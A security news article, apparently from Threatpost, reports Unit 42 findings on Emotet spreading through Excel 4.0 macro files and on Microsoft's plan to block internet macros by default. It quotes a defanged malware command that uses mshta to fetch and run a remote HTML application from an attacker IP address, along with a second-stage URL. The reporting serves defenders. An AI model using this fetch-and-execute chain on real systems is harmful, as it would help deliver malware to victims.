# Emotet Now Spreading Through Malicious Excel Files

By Elizabeth Montalbano

Published: 2022-02-16 · Archived: 2026-04-06 01:36:22 UTC

An ongoing malicious email campaign that includes macro-laden files and multiple layers of obfuscation has been active since late December.

The infamous Emotet malware has switched tactics yet again, in an email campaign propagating through malicious Excel files, researchers have found.

Researchers at Palo Alto Networks Unit 42 have observed a new infection approach for the high-volume malware, which is known to modify and change its attack vectors to avoid detection so it can continue to do its nefarious work, they wrote in a report published online Tuesday.

“Emotet’s new attack chain reveals multiple stages with different file types and obfuscated script before arriving at the final Emotet payload,” Unit 42 researchers Saqib Khanzada, Tyler Halfpop, Micah Yates and Brad Duncan wrote.



The new attack vector—discovered on Dec. 21 and still active–delivers an Excel file that includes an obfuscated Excel 4.0 macro through socially engineered emails.

“When the macro is activated, it downloads and executes an HTML application that downloads two stages of PowerShell to retrieve and execute the final Emotet payload,” researchers wrote.

## The Malware That Won’t Die

Emotet started life as a banking trojan in 2014 and has continually evolved to become a full-service threat-delivery mechanism, at one point existing as a botnet that held more than 1.5 million machines under its control, according to Check Point Software. Typical consequences of TrickBot infections are bank-account takeover, high-value wire fraud and ransomware attacks.

Indeed, at the end of its original heyday, the estimated damage from Emotet was around $2.5 billion dollars, researchers have said.

Then, Emotet appeared to be put out of commission by an international law-enforcement collaborative takedown of a network of hundreds of botnet servers supporting the system in January 2021. However, it resurfaced last November on the back of frequent partner-in-crime TrickBot — and now continues to be a threat.

Since its return, Emotet has used thread hijacking and other types of tactics as part of novel attack methods..

“This technique generates fake replies based on legitimate emails stolen from mail clients of Windows hosts previously infected with Emotet,” Unit 42 researchers wrote. “The botnet uses this stolen email data to create fake replies impersonating the original senders.”

Examples of this method included using links to install a fake Adobe Windows App Installer Package that were reported in December, researchers wrote.

## Using Excel Macros

The new Emotet infection method using Excel macros also has several variations, according to Unit 42.

“In some cases, Emotet uses a password-protected .ZIP archive as an attachment to its email,” researchers explained. “In other cases, Emotet uses an Excel spreadsheet directly attached to the email.”

Researchers outlined an email sent by the Emotet botnet on Jan. 27 that uses a stolen email thread from June 2021. The email uses a lure heralding a “new announcement” to a “valuable supplier” and contains an encrypted .ZIP file in an attempt to bypass security systems, researchers wrote. It also includes the password to the .ZIP file in the email, so the victim can extract its contents.

“The encrypted .ZIP file contains a single Excel document with Excel 4.0 macros,” researchers wrote “These macros are an old Excel feature that is frequently abused by malicious actors. The victim must enable macros on a vulnerable Windows host before the malicious content is activated.”

Once that’s done, the macro code executes cmd.exe to run mshta.exe, with an argument to retrieve and execute a remote HTML application that downloads and executes additional PowerShell code, researchers wrote.

“The code utilizes hex and character obfuscation in order to attempt to bypass static detection measures,” they explained. “The deobfuscated command string that is executed is: cmd /c mshta hxxp://91.240.118[.]168/se/s.html.”

The initial obfuscated PowerShell script connects to hxxp://91.240.118[.]168/se/s.png, a URL that returns text-based script for a second-stage set of PowerShell code designed to retrieve an Emotet binary.

“This second-stage PowerShell code…contains 14 URLs to retrieve the Emotet binary,” researchers wrote. “The script attempts each URL until an Emotet binary is successfully downloaded.”

Having multiple URLs in its attack chain is aimed at making it more resilient in the event that one of the URLs is taken down, researchers said. The final stage of the attack chain occurs when the Emotet .DLL loads an encrypted PE from its resource section, they added.

## Microsoft to Block Macros by Default

Last week, Microsoft announced a plan to disable all macros by default in some applications, acknowledging that the mechanism is one of the world’s most popular ways to deliver malware.

“For the protection of our customers, we need to make it more difficult to enable macros in files obtained from the internet,” the computing giant noted. “VBA macros obtained from the internet will now be blocked by default.”

Three popular Office apps, Word, Excel and PowerPoint, plus Access and Visio, are affected by the change.

“For macros in files obtained from the internet, users will no longer be able to enable content with a click of a button,” Microsoft said. “The default is more secure and is expected to keep more users safe including home users and information workers in managed organizations.”

Starting in late April, instead of a button to “enable macros,” users will be prompted with a “learn more” button that will take them to additional information before they can activate macros within a document.

***Join Threatpost on Wed. Feb 23 at 2 PM ET for a LIVE roundtable discussion, “The Secret to Keeping Secrets,” sponsored by Keeper Security, will focus on how to locate and lock down your organization’s most sensitive data. Zane Bond with Keeper Security will join Threatpost’s Becky Bracken to offer concrete steps to protect your organization’s critical information in the cloud, in transit and in storage. REGISTER NOW and please Tweet us your questions ahead of time @Threatpost so they can be included in the discussion.***

---